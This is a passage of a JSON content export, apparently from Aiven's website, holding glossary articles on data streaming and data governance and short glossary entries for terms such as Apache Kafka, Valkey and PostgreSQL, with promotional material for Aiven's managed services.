allowing businesses to focus on deriving value from their real-time data.\n\nAiven's platforms are designed to seamlessly fit into your business, enabling:\n\n- **Real-time analytics –** Immediate insights to inform business decisions.\n- **Event-driven architecture –** Responsive systems that act on data in real-time.\n- **Change Data Capture (CDC) –** Streaming data changes into Kafka as they happen.\n- **AI-driven recommendation engines –** Streaming capabilities capture user behavior in real time, validate any request or AI prompt in a Trust Layer, combine real-time and historical data, and generate a response that also goes through the Trust Layer to validate responses.\n- **Data compliance –** Adherence to global data protection regulations.\n- **Security measures –** State-of-the-art encryption and security protocols to safeguard data streams.\n\nHowever, it takes a complete **open-source streaming ecosystem** build around Apache Kafka to really take your data game to the next level. \n\n- **Aiven for Apache Kafka –** For building real-time data pipelines and event-driven architectures with ease.\n- **Aiven for Apache Kafka Connect –** For simplifying data integration by moving data in and out of Kafka clusters.\n- **Aiven for Apache Kafka MirrorMaker 2 –** For managing cross-cluster Kafka data replication, keeping topics in sync across different regions, clouds.\n- **Aiven for Apache Flink** – For building and deploying powerful, real-time, stateful stream processing applications.\n- **Karapace** – For providing essential schema management capabilities for your Apache Kafka clusters, ensuring data compatibility and governance.\n- **Klaw –** For streamlining Apache Kafka governance.\n\n![Visualisation of the Aiven for Kafka ecosystem.](https://cdn.sanity.io/images/sczeoy4w/production/bc5bfe2c6e53e73d5c53201eabec5ea67883cc29-2806x1607.png)\n\nSee some of the top use cases on the [Aiven for Streaming](https://aiven.io/solutions/aiven-for-streaming) solutions web page.\n\nReady to dive into **data streaming with Aiven**? Here’s how to get started:\n\n- **Learn more:** Have a poke around [**Aiven's developer documentation**](https://docs.aiven.io/docs/get-started) to take your first steps in the Kafka or Flink world, or [**sign up for a free trial**](https://console.aiven.io/signup) and start playing around.\n- **Consultation:** [Contact our experts](https://aiven.io/contact) to identify your needs or [book a demo](https://aiven.io/book-demo)\n\n\n\n## Further Reading\n\n- [Why you should think about moving analytics from batch to real-time (Blog article)](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time)\n- [Move from batch to streaming with Apache Kafka® and Apache Flink® (Tutorial)](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)\n- [Build a real-time analytics pipeline in less time than your morning bus ride (Blog article)](https://aiven.io/blog/build-a-real-time-analytics-pipeline)","seo":{"_type":"metaData","metaDescription":"Discover the power of data streaming for real-time analytics, faster decision-making, and enhanced user experiences. Get started with Aiven!","metaTitle":"Data Streaming – How It Works \u0026 Why It Matters | Aiven"},"slug":{"_type":"slug","current":"/glossary/data-streaming-your-gateway-to-real-time-insights"},"title":"Data streaming: Your gateway to real-time insights"} {"__i18n_lang":"en","_createdAt":"2024-09-23T14:02:54Z","_id":"d0107ea9-e93f-45a3-a3be-0d89bf3732ed","_rev":"YF0kK6uALbD7UqCF6MgGVz","_type":"glossaryArticle","_updatedAt":"2024-09-30T09:17:29Z","body":"In today’s digital landscape, **data governance** is increasingly critical. Organizations across the globe recognize the importance of proper data management to fully harness their data's potential. \n\nIn this post, we will explore the definition and meaning of data governance, the process behind it, and also take a closer look at best practices. \n\n## Data Governance Definition\n\nData governance is a set of internal policies and practices that establish rules for how data is collected, stored, processed, replicated, accessed, and disposed of. Data governance is critical for security, data protection, auditing, compliance, and disaster recovery.\n\nSome of the key aspects of data governance include …\n\n- **Data Policies and Standards:** Establish the rules and guidelines for data collection, quality, usage, access, [privacy and security](https://aiven.io/security-compliance), and resilience, ensuring consistency and compliance across the organization..\n- [Data Management Tools](https://aiven.io/blog/data-tool-selection):Technologies and systems used to implement and enforce data governance principles, facilitating data quality, integration, and security.\n- **People and Processes:** This aspect involves assigning roles and responsibilities, as well as defining workflows and procedures, to ensure effective data management and accountability.\n\nOverall, data governance helps organizations get the most out of their data by making it a trusted asset that drives informed decisions.\n\n\n\n### High Availability and Disaster Recovery\n\nWhen it comes to data governance, high availability and disaster recovery play a crucial role. \n\nHigh availability (HA) maintains continuous data operations and minimizes downtime through redundancy and failover mechanisms, aligning with governance policies for reliable data access. Disaster recovery (DR), on the other hand, focuses on protecting and quickly restoring data during disasters via backups and recovery plans, meeting regulatory requirements and mitigating risks. \n\nTogether, HA and DR support data governance by enforcing policies, maintaining compliance, and ensuring data continuity and protection.\n\n## Who Is Responsible for Data Governance?\n\nData governance involves multiple stakeholders across the organization, each with specific roles and responsibilities. \n\n- **Data Governance Council**: Defines the data governance strategy and policies, as well as provides oversight to ensure alignment with business objectives.\n- **Chief Data Officer (CDO)**: Leads the data governance program, coordinates efforts across departments, and is accountable for its success.\n- **Data Stewards**: Ensure [data quality](https://aiven.io/blog/a-soft-methodology-to-define-robust-data-platforms), compliance, and management of specific data domains to uphold governance standards.\n- **Data Owners**: Set the requirements for data, manage access permissions, and make sure that data usage aligns with business needs.\n- **IT and Data Management Teams**: Maintain the data infrastructure, create backups, manage security, and are responsible for the technical implementation of data governance principles.\n- **Legal and Compliance Teams**: Ensure that all data governance practices adhere to relevant laws and regulations, providing guidance on data protection and ethical use.\n- **End Users**: Adhere to data governance policies and report any issues or breaches they encounter.\n\n\n\n## Data Strategy, Data Governance, and Data Management Explained \n\nAlthough data strategy, data governance, and data management are closely related concepts, they refer to different aspects of handling data within an organization.\n\n\n| Aspect | Data Strategy | Data Governance | Data Management |\n|---|---|---|---|\n|Definition | Plan for leveraging data to support business goals | Framework for ensuring data quality, security, and compliance |Operational aspect of handling data throughout its lifecycle |\n| Focus | Alignment of data initiatives with business objectives | Policies, standards, and compliance | Day-to-day data operations, security, and management |\n| Purpose | Drive business growth and innovation through data | Ensure data is accurate, secure, and compliant | Efficiently manage data storage, access, and processing |\n| Key Activities | Developing data initiatives, investment in data capabilities | Setting policies, data stewardship, auditing | Data storage, processing, integration, and maintenance | \n| Stakeholders | Executive leadership, data strategists, business analysts | Data stewards, compliance officers, legal teams | Data managers, IT staff, database administrators | \n| Outcome | Competitive advantage, informed decision-making | High-quality, secure, and compliant data | Reliable, accessible, and well-maintained data |\n\n\n## Why Is Data Governance Important?\n\nThere are many reasons why data governance is important for any organization that relies on data for its operations and strategic decisions. \n\n- **It Ensures Compliance with Regulations:** Data governance helps organizations adhere to various regulatory requirements such as GDPR, HIPAA, and others that dictate how data should be handled and protected. By establishing clear guidelines and controls, data governance frameworks prevent legal issues and penalties associated with non-compliance.\n- **It Improves Data Security:** With a solid data governance process in place, organizations can better protect sensitive information from unauthorized access and data breaches. Governance policies include who can access data, under what circumstances, and the security measures that must be in place, thus reducing the risk of data leaks and enhancing trust with customers and stakeholders.\n- **It Enhances Data Quality:** Data governance principles ensure that the data used in decision-making processes is accurate, complete, and reliable. This is achieved through data quality initiatives such as data cleansing, validation, and regular audits. High-quality data leads to better analytical outcomes, more informed decisions, and reduced operational inefficiencies.\n- **It Facilitates Data Usability and Accessibility:** By standardizing data management practices and creating clear guidelines for data storage, archiving, and retrieval, data governance makes data more usable and accessible to authorized personnel. This standardization helps avoid data silos, ensuring that data is available across the organization when and where it is needed.\n- **It Supports Decision-Making:** Effective data governance provides a reliable and secure framework for data access and use, which in turn supports more accurate and timely decision-making. With governance, data is consistently managed and maintained, leading to a stable foundation for analytics and business intelligence efforts that drive strategic initiatives.\n\n## What Are the 3 Pillars of Data Governance?\n\nThe three pillars of data governance are **data stewardship, data quality,** and **master data management (MDM)**. \n\nBy effectively implementing them, organizations can leverage their data to gain a competitive advantage, minimize risks, and achieve sustained growth.\n\n### **1. Data Stewardship**\n\nData stewardship refers to the management and oversight responsibilities assigned to designated staff members, known as data stewards, who ensure that **data policies** and procedures are **implemented effectively** across the organization. \n\nData stewards act as liaisons between IT and business units to ensure that data is used appropriately, its quality is maintained, and it is protected throughout its lifecycle. \n\nTheir responsibilities include:\n\n- setting data access policies,\n- resolving data quality issues,\n- helping to define the requirements for data collection and usage.\n\nEffective stewardship supports the organization's overall data governance framework by ensuring **compliance** with both internal data standards and external regulations.\n\n### **2. Data Quality**\n\nData quality is a critical aspect of data governance, focusing on the accuracy, completeness, reliability, and timeliness of the data. \n\nHigh-quality data is essential for \n\n- making informed decisions,\n- maintaining operational efficiency,\n- ensuring customer satisfaction.\n\nData quality initiatives typically involve processes and technologies that help to **clean, validate, and maintain the integrity** of data throughout its lifecycle. \n\nThese initiatives also monitor the performance of data against quality metrics, with continual improvements made based on feedback and changing needs. \n\nEnsuring good data quality **reduces the risk of errors** and enhances the trustworthiness of reports and analyses derived from the data.\n\n### **3. Master Data Management (MDM)**\n\nMaster data management involves creating a single, accurate, and authoritative source of basic business data used across multiple systems, applications, and processes. \n\nMDM helps **eliminate redundant and inconsistent versions** of the same data in an organization. \n\nThis central data management approach ensures that all departments and personnel have access to the **most current and accurate** set of core data, such as customer, product, employee, and supplier information. \n\nMDM not only improves data quality but also supports regulatory compliance and enhances operational efficiency by providing consistent and reliable data across the enterprise.\n\n## Data Governance Examples\n\nBelow are three examples of how data governance can be used in practice.\n\n### 1. Ensuring Data Quality\n\n- **Data Standardization:** Implementing policies and procedures to standardize data formats, definitions, and values across the organization to ensure consistency and accuracy.\n- **Validation Processes:** Regularly conducting data validation and cleansing activities to identify and rectify errors, duplicates, and inconsistencies in the data.\n- **Quality Metrics:** Establishing and monitoring data quality metrics to continuously assess and improve the accuracy, completeness, and reliability of data.\n\n### 2. Regulatory Compliance and Data Privacy\n\n- **Policy Implementation:** Developing and enforcing data governance policies that comply with relevant data protection regulations (e.g., GDPR, CCPA) to safeguard personal and sensitive information.\n- **Access Controls:** Implementing strict access control mechanisms to ensure that only authorized personnel have access to sensitive data, reducing the risk of data breaches and unauthorized usage.\n- **Audit and Monitoring:** Conducting regular audits and monitoring activities to ensure ongoing compliance with regulatory requirements and internal data governance policies.\n\n### 3. Data Integration and Management\n\n- **Data Integration:** Integrating data from various sources and systems within the organization to create a unified and comprehensive data architecture that supports decision-making and operational efficiency.\n- **Metadata Management:** Establishing a metadata management system to document data definitions, sources, usage, and lineage, facilitating better data understanding and utilization.\n- **Master Data Management:** Implementing master data management (MDM) practices to maintain a single, accurate, and authoritative source of key business data (e.g., customer, product, supplier information) across the organization.\n\n### 4. ETL Processes\nIn the healthcare industry, hospitals and clinics use [ETL (Extract, Transform, Load)](https://aiven.io/glossary/what-is-etl) processes to integrate patient data from various sources such as electronic health records (EHRs), lab systems, and billing databases. Data governance ensures that this data is validated, transformed, and loaded correctly into a centralized data warehouse, supporting accurate and efficient patient care and reporting.\n\n\n## Crafting an Effective Data Governance Process\n\nCrafting an effective data governance process or framework is a dynamic endeavor that requires commitment across the organization. \n\n### **1. Establish Clear Objectives**\n\nBegin by defining clear objectives for what your data governance initiative is intended to achieve. Objectives might include improving data quality, ensuring regulatory compliance, enhancing data security, or supporting business decision-making. Clear objectives help to focus efforts and measure the success of your data governance program.\n\n### **2. Develop a Data Governance Framework**\n\nCreate a comprehensive data governance framework that outlines the policies, standards, procedures, and roles related to data management. This framework should include:\n\n- **Data principles and policies:** Guidelines on data usage, privacy, and security.\n- **Data standards:** Definitions and standards for consistent data entry, storage, and management.\n- **Roles and responsibilities:** Clear delineation of who is responsible for data-related tasks, including data stewards, data owners, and data users.\n\n### **3. Implement Data Stewardship**\n\nAppoint data stewards who will oversee data governance processes. Data stewards play a key role in implementing policies, resolving data quality issues, and acting as a bridge between IT and business units. Their responsibilities include maintaining data accuracy, managing access, and ensuring compliance with both internal and external data management standards.\n\n### **4. Prioritize Data Quality**\n\nFocus on maintaining high data quality through regular assessments and remediation strategies. Implement tools and processes for data cleansing, validation, and reconciliation to ensure that data is accurate, complete, and timely. Data quality initiatives should be continuous, with mechanisms to monitor and improve the quality of data over time.\n\n### **5. Integrate Technology Solutions**\n\nTo support your data governance goals, leverage technologies that ensure high availability and disaster recovery. This includes data management systems like Master Data Management (MDM) software, data quality tools, and technologies for data security and compliance monitoring. These technologies can automate many aspects of data governance, reducing the burden on staff and increasing the accuracy and efficiency of your processes.\n\n### **6. Ensure Compliance and Security**\n\nDevelop and enforce security policies that protect data across all platforms and devices. Ensure compliance with regulatory requirements such as GDPR, HIPAA, or CCPA by integrating compliance checks into every aspect of your data management processes. Regular audits and updates to security protocols are crucial to adapt to new threats and regulatory changes.\n\n### **7. Promote Organizational Awareness and Training**\n\nEducate and train all employees on the importance of data governance and their specific responsibilities related to data handling. Organizational awareness and training are crucial for ensuring that data governance policies are understood and followed across the organization.\n\n### **8. Monitor and Refine**\n\nEstablish metrics to monitor the effectiveness of your data governance processes. Use these metrics to identify areas for improvement and refine your approaches continuously. Regular review meetings involving key stakeholders can help to keep the data governance strategy aligned with changing business needs and technological advancements.\n\n## Challenges in Data Governance\n\nBelow is a table outlining three main challenges in data governance and their respective solutions to help your organization navigate these obstacles successfully.\n\n| Challenges | Possible Solutions |\n|---|---|\n| **1. Data Silos**\\n\\n Data silos occur when different departments or units within an organization manage their data independently, leading to isolated pockets of data that may not adhere to organizational governance policies and procedures. This can result in data at risk from a security, compliance, and disaster recovery perspective.| **Integrated Data Systems**\\n\\n Use technologies that integrate data from various silos into a unified system. Implement Master Data Management (MDM) solutions to maintain a consistent, accurate, and comprehensive view of key data assets across different departments. |\n| **2. Resistance to Change**\\n\\n Implementing a new data governance strategy can often be met with resistance from employees who are accustomed to existing processes. This resistance can hinder the successful adoption of new data governance practices. | **Change Management**\\n\\n Implement change management strategies that include training, education, and clear communication about the benefits of data governance. Engage stakeholders early and often in the planning and implementation phases to gain buy-in and reduce resistance. |\n| **3. Ensuring Data Quality**\\n\\n Maintaining high data quality is challenging due to the volume and variety of data, as well as potential human and system errors. Poor data quality can lead to incorrect decisions and operational inefficiencies. | **Quality Control Mechanisms**\\n\\n Establish rigorous data quality frameworks that include regular audits, real-time monitoring, and validation processes. Utilize data quality tools that ensure high availability and disaster recovery to automate error detection and correction, ensuring high standards of accuracy and reliability are maintained consistently. |\n\n\n## Data Governance Best Practices\n\nNavigating the complexities of data governance can often feel like solving a grand puzzle. In this chapter, we break down that puzzle into manageable pieces, presenting best practices that empower your organization to harness data effectively and enhance its strategic value.\n\n1. **Prioritize Stakeholder Engagement:** Engage stakeholders from various departments early and frequently to ensure their needs and concerns are addressed, promoting broader acceptance and successful implementation.\n2. **Leverage Automation:** Automate repetitive data governance tasks such as data quality checks and compliance monitoring to improve efficiency and reduce the likelihood of human error.\n3. **Establish Clear Communication Channels:** Maintain open and transparent communication about data governance principles, standards, procedures, and changes to keep all team members informed.\n4. **Continuously Train and Educate:** Offer ongoing training and resources to keep the team updated on best practices, new regulations, and technologies to maintain high data governance standards.\n5. **Regularly Review and Update Policies:** Continuously revise data governance policies to adapt to new business challenges, technological novelties, and evolving regulatory requirements, ensuring the governance framework remains relevant and effective.\n6. **Document Everything Thoroughly:** Ensure that all data governance procedures, decisions, and changes are thoroughly documented. This not only aids in transparency and accountability but also helps in troubleshooting and training new team members.\n7. **Monitor Data Governance Metrics:** Define and track specific metrics related to data governance such as data quality scores, compliance rates, and user satisfaction to measure the effectiveness of your data governance program and identify areas for improvement.\n\n## Seamless Data Governance with Aiven\n\n**Overall, Aiven's data governance capabilities focus on providing:**\n\n- **Centralized control and visibility** over your data landscape\n- **Enhanced security and compliance** to protect sensitive data\n- **Multi-cloud flexibility** to avoid vendor lock-in\n- **Streamlined data management** for greater efficiency and productivity\n\nAiven's data and AI [platform](https://aiven.io/platform) itself incorporates several features that support data governance:\n\n- **End-to-End Security:** Aiven prioritizes data security with dedicated virtual machines, encryption in transit and at rest, automated security updates, and compliance with various industry standards (ISO 27000, GDPR, CCPA, HIPAA, PCI-DSS).\n- **Multi-Cloud Flexibility:** Aiven's cloud-agnostic approach allows you to deploy and manage data services across multiple cloud providers, giving you greater control over your data and reducing vendor lock-in.\n- **Centralized Management:** The Aiven platform offers a unified interface to manage all your data services, enabling you to apply organizational policies and governance controls consistently across your entire data infrastructure.\n\n**Bring Your Own Cloud (BYOC):** Aiven’s [BYOC](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc) connects a customer’s own AWS, Google Cloud or Microsoft Azure VPC to the Aiven platform, making it possible to deploy Aiven services directly to their own cloud account. This means that all compute, storage and networking infrastructure services - and associated costs - remain under a customer’s direct control. Consider using BYOC and custom clouds if you have specific business needs or project requirements, such as:\n\n- **Compliance**: Aiven offers managed environments for several standard compliance regulations, such as HIPAA, PCI DSS, and GDPR. However, if you have strict regulatory requirements or special compliance requirements, BYOC may be the best option for you.\n- **Network auditing**: If you require the visibility of all traffic within any VPC you operate in or need frequent auditing capabilities, BYOC is potentially a good fit. BYOC gives you the ability to audit network metadata but not the actual contents.\n- **Fine-grained network control**: BYOC only requires specific network access for Aiven (for example, service management or troubleshooting) to deploy and manage open source data services, otherwise allowing you to customize your network to meet any internal requirements or requirements of your customers.\n- **Cost optimization**: Depending on your cloud provider, with BYOC you can use cost savings plans, committed use discounts, or other strategies to save on compute and storage infrastructure costs related to Aiven services.\n\n![The infographic illustrates Aiven’s “Bring Your Own Cloud” which enables customers to deploy Aiven data services within their existing cloud account on Microsoft Azure, Google Cloud, and AWS.](https://cdn.sanity.io/images/sczeoy4w/production/ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793.png)\n\n\nThese features help organizations establish a robust data governance framework, ensuring data quality, security, and compliance while enabling efficient data utilization and innovation.\n\nBy integrating Aiven's products into your data governance frameworks, your organization can enhance operational efficiency and secure its data environment, leading to better business outcomes.\n\nSimplify your data infrastructure for better governance. [**Get started for FREE**](https://console.aiven.io/signup)!\n\n\n## Further reading\n\n- [Aiven](https://aiven.io/)\n- [Aiven Platform](https://aiven.io/platform)\n- [Aiven Security](https://aiven.io/security-compliance)\n- [Understanding Data in the Face of Changing FSI Laws](https://aiven.io/blog/understanding-data-in-the-face-of-changing-fsi-laws)\n- [The Top Two Misconceptions as FSI Compliance Requirements Tighten](https://aiven.io/blog/the-top-two-misconceptions-as-fsi-compliance-requirements-tighten)\n- [The Intersection of Compliance and Risk vs. Security](https://aiven.io/blog/the-intersection-of-compliance-and-risk-vs-security)\n- [What Is a Data Pipeline?](https://aiven.io/glossary/what-is-a-data-pipeline)","seo":{"_type":"metaData","metaDescription":"Data governance definition | Standards \u0026 Principles | The process of data governance | Challenges \u0026 more | Get informed with Aiven!","metaTitle":"What Is Data Governance? Examples \u0026 Best Practices"},"slug":{"_type":"slug","current":"/glossary/what-is-data-governance-examples-and-best-practices"},"title":"What Is Data Governance? Examples \u0026 Best Practices"} {"_createdAt":"2024-03-20T09:08:36Z","_id":"00df6259-88ff-453f-8c41-da6d2cbf89d1","_rev":"PjhTiFLESFHgz5EjCAuHKJ","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:16:40Z","description":[{"_key":"481d9ee9e92e","_type":"block","children":[{"_key":"640d6f88e6270","_type":"span","marks":[],"text":"Apache Flink is an open-source stream processing framework for big data processing and analytics. It supports event time processing and provides high-throughput, low-latency data processing."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"f13cb22b501c","_type":"link","internalLink":{"_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"},"title":"An introduction to Apache Flink®"},{"_key":"38dde73d97c8","_type":"link","internalLink":{"_ref":"bf485ef4-4dc1-40e0-b542-cbc618db7d96","_type":"reference"},"title":"Get to know the Aiven API with Postman"}],"term":"Apache Flink®"} {"_createdAt":"2024-03-12T12:23:40Z","_id":"e9efda79-a03a-4371-854b-4a2936810708","_rev":"PjhTiFLESFHgz5EjCAulAy","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:26:29Z","description":[{"_key":"2ebdc44daad0","_type":"block","children":[{"_key":"264e22ccf9eb0","_type":"span","marks":[],"text":"Event-driven architecture is a design approach where the flow of information and functionality is based on events or messages, with components reacting to events rather than relying on centralized control. This architecture is often used in real-time and distributed systems to improve scalability and responsiveness."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"f6db1b97804e","_type":"link","internalLink":{"_ref":"5tcvRybcSkU7QRXuhXA7vZ","_type":"reference"},"title":"Introduction to event-driven architecture"}],"term":"Event-driven architecture"} {"_createdAt":"2024-09-18T14:33:29Z","_id":"043da606-6c7c-4367-83e7-1d12ba70d5ed","_rev":"YWHkZRhDz94HWGkESkmngP","_type":"glossaryTerm","_updatedAt":"2024-09-18T14:33:29Z","description":[{"_key":"86c2b893bc79","_type":"block","children":[{"_key":"856ef9a7cfe90","_type":"span","marks":[],"text":"Data streaming is a method of transmitting and processing data continuously in real time. It allows for the efficient and immediate transfer of information, making it valuable for various applications such as event-driven architectures and microservices, marketing personalization, real-time analytics, change data capture, real-time AI recommendations, monitoring, and much more."}],"markDefs":[],"style":"normal"}],"glossaryArticleRef":{"_ref":"006f2921-0c82-475b-9d79-ef586ea48bd0","_type":"reference"},"relatedResources":[{"_key":"ec4b08abd54a","_type":"link","internalLink":{"_ref":"0a3b8c9d-d307-423b-8b15-08ab4722965c","_type":"reference"},"title":"Navigating Kafka: Challenges, solutions, and the future of real-time data streaming"},{"_key":"b62bcf947d6d","_type":"link","internalLink":{"_ref":"576c7e63-5e35-4830-9ef1-83e8c71244e2","_type":"reference"},"title":"Set up your data streaming infrastructure in 30 minutes"},{"_key":"b132f093c96f","_type":"link","internalLink":{"_ref":"072fbfe2-007b-47a3-b574-d4cc8be52fdb","_type":"reference"},"title":"Get Real: Real-time data to drive real-time business"},{"_key":"7b364cd69b18","_type":"link","internalLink":{"_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"reference"},"title":"Create your own data stream for Apache Kafka® with Python and Faker"}],"term":"Data streaming"} {"_createdAt":"2024-07-23T09:34:09Z","_id":"69e8a087-4fc0-47c2-bd00-ad26e56f71e1","_rev":"mr6Ps1Vz8WkVL9G5VXYCuE","_type":"glossaryTerm","_updatedAt":"2024-07-23T09:34:09Z","description":[{"_key":"babe02c23e36","_type":"block","children":[{"_key":"dc59fd7926870","_type":"span","marks":[],"text":"Caching is a technique used to store frequently accessed data in a temporary storage location to reduce access time and improve system performance. It helps in minimizing the time required to retrieve data by keeping a copy of it in a fast cache closer to the application that uses it."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"d81a5c84326b","_type":"link","externalUrl":"https://aiven.io/docs/products/caching/concepts/high-availability-redis","title":"Docs: High availability in Aiven for Caching"},{"_key":"2a94c4997dbf","_type":"link","internalLink":{"_ref":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_type":"reference"},"title":"What is Dragonfly?"},{"_key":"c344befa4dd0","_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey"}],"term":"Caching"} {"_createdAt":"2024-03-20T10:04:34Z","_id":"0cb824cd-c113-4dbc-9c76-13910771739a","_rev":"PjhTiFLESFHgz5EjCAyYAI","_type":"glossaryTerm","_updatedAt":"2024-03-20T10:04:34Z","description":[{"_key":"8a76e5b3427e","_type":"block","children":[{"_key":"1a6062b8e9600","_type":"span","marks":[],"text":"MySQL® is an open-source relational database management system (RDBMS) widely used for storing and managing structured data. It employs the SQL (Structured Query Language) for database management and is known for its reliability and performance."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"b1f52489d581","_type":"link","internalLink":{"_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"},"title":"What is MySQL?"}],"term":"MySQL®"} {"_createdAt":"2024-03-20T09:32:45Z","_id":"222fa3b5-4c35-4eb5-81b1-57454201d379","_rev":"PjhTiFLESFHgz5EjCAutAV","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:32:45Z","description":[{"_key":"b94902f4ba14","_type":"block","children":[{"_key":"2bc6e3218faf0","_type":"span","marks":[],"text":"Apache Kafka is an open-source event streaming platform used for building real-time data pipelines and streaming applications. It facilitates the processing of large-scale, real-time data feeds."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"91dc493225e1","_type":"link","internalLink":{"_ref":"cea04874-dd89-4b2c-acc7-3d1ddaf32a22","_type":"reference"},"title":"What is Apache Kafka®?"},{"_key":"d8a392b25d40","_type":"link","internalLink":{"_ref":"ElLnRMEzVGBvCslc1mXoT","_type":"reference"},"title":"Apache Kafka® simply explained"},{"_key":"2b2e6c9685a3","_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/concepts","title":"Docs: Apache Kafka® concepts"}],"term":"Apache Kafka®"} {"_createdAt":"2024-03-20T10:05:28Z","_id":"25de15b8-b1d5-4de7-b0cc-ea5fba7e46e2","_rev":"PjhTiFLESFHgz5EjCAyqQw","_type":"glossaryTerm","_updatedAt":"2024-03-20T10:05:28Z","description":[{"_key":"a8579f66e096","_type":"block","children":[{"_key":"22e50c8fdc8e0","_type":"span","marks":[],"text":"Python Data Stream refers to the continuous flow of data in Python programming, often used in scenarios like data processing and analysis."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"368b784989cf","_type":"link","internalLink":{"_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"reference"},"title":"Create your own data stream for Apache Kafka® with Python and Faker"}],"term":"Python data stream"} {"_createdAt":"2024-03-20T10:15:41Z","_id":"425ea67e-4864-4d76-8dab-cf47f2e737cf","_rev":"PjhTiFLESFHgz5EjCB1hBx","_type":"glossaryTerm","_updatedAt":"2024-03-20T10:15:41Z","description":[{"_key":"4b9f06bf0259","_type":"block","children":[{"_key":"0bc12d4764200","_type":"span","marks":[],"text":"rsyslog is open-source software used for centralizing and managing log messages in a Unix or Unix-like environment."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"b87bf19cb933","_type":"link","externalUrl":"https://aiven.io/docs/integrations/rsyslog","title":"Docs: Remote syslog integration"}],"term":"rsyslog"} {"_createdAt":"2024-03-20T09:47:00Z","_id":"51fa0073-7f11-46bc-afa1-c870175c6c00","_rev":"PjhTiFLESFHgz5EjCAw2Ya","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:47:00Z","description":[{"_key":"74d604e64428","_type":"block","children":[{"_key":"8e775a6f53780","_type":"span","marks":[],"text":"Cloud infrastructure costs include the expenses associated with the provision and usage of cloud computing resources, such as virtual machines, storage, and network bandwidth."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"9504bd5226c7","_type":"link","internalLink":{"_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},"title":"What to consider when optimizing cloud infrastructure costs"},{"_key":"b05b89346a34","_type":"link","internalLink":{"_ref":"d4aba9c4-15b5-481b-8491-1f92393e7fb3","_type":"reference"},"title":"Ebook: 7 ways to optimize your cloud infrastructure costs"}],"term":"Cloud infrastructure costs"} {"_createdAt":"2024-03-20T10:19:23Z","_id":"5730b08b-0634-468b-a436-7c03d670d0a5","_rev":"Mwja7swPJspBVknlrRXpcg","_type":"glossaryTerm","_updatedAt":"2024-04-02T06:27:06Z","description":[{"_key":"acf22ce1fe7d","_type":"block","children":[{"_key":"000c3943097c0","_type":"span","marks":[],"text":"Time series data consists of data points collected and recorded at regular time intervals, allowing for the analysis of trends and patterns over time. It is commonly used metrics for gathering and in applications like weather forecasting, financial analysis, and IoT sensor data analysis."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"124aa0883587","_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Managed ClickHouse database as a service"}],"term":"Time series data"} {"_createdAt":"2024-07-23T07:21:01Z","_id":"5760ebdf-6a81-4557-b308-b19d55738649","_rev":"mr6Ps1Vz8WkVL9G5VXBaaq","_type":"glossaryTerm","_updatedAt":"2024-07-23T07:21:01Z","description":[{"_key":"ef4023bd78dd","_type":"block","children":[{"_key":"75a0909ed1160","_type":"span","marks":[],"text":"Valkey is an open source (BSD) high-performance key-value datastore based on the OSS version of the popular Redis® database which recently changed its licensing model. Valkey supports a variety of workloads such as caching, message queues, and can act as a primary database."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"b35981ad7502","_type":"link","internalLink":{"_ref":"894ac584-fe8d-47eb-bd84-cdc44c4c3a5c","_type":"reference"},"title":"Introducing Aiven for Valkey"},{"_key":"f740b7685db7","_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey"}],"term":"Valkey"} {"_createdAt":"2024-03-20T09:51:15Z","_id":"67a9c0de-df79-487b-9ecc-ca8cee24bd14","_rev":"PjhTiFLESFHgz5EjCAwld7","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:51:15Z","description":[{"_key":"15da99d82d39","_type":"block","children":[{"_key":"e83a252e7bb60","_type":"span","marks":[],"text":"DBAs, or Database Administrators, are professionals responsible for managing and maintaining databases, ensuring their performance, security, and reliability."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"806e6d600962","_type":"link","internalLink":{"_ref":"5mphVpZ9KwsYIklKpnPm1Q","_type":"reference"},"title":"Why DBAs embrace managed services"}],"term":"Database Administrator (DBA)"} {"_createdAt":"2024-07-23T07:22:46Z","_id":"6a3dbab6-34b4-4b4c-a9ab-8d0a8970422c","_rev":"YAcMhSAbyjrWoYhD7A52Y5","_type":"glossaryTerm","_updatedAt":"2024-07-23T07:26:04Z","description":[{"_key":"6d6afa2246f4","_type":"block","children":[{"_key":"35087eb5c2270","_type":"span","marks":[],"text":"PostgreSQL is an open source relational database system (RDBMS) that has a strong reputation for reliability, feature robustness, and performance. Frequently called Postgres, it is SQL compliant. provides atomicity, consistency, isolation, durability (ACID) properties, and is commonly used as a large datastore for analytics and web services with many concurrent users."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"13006766651a","_type":"link","internalLink":{"_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},"title":"Introduction to 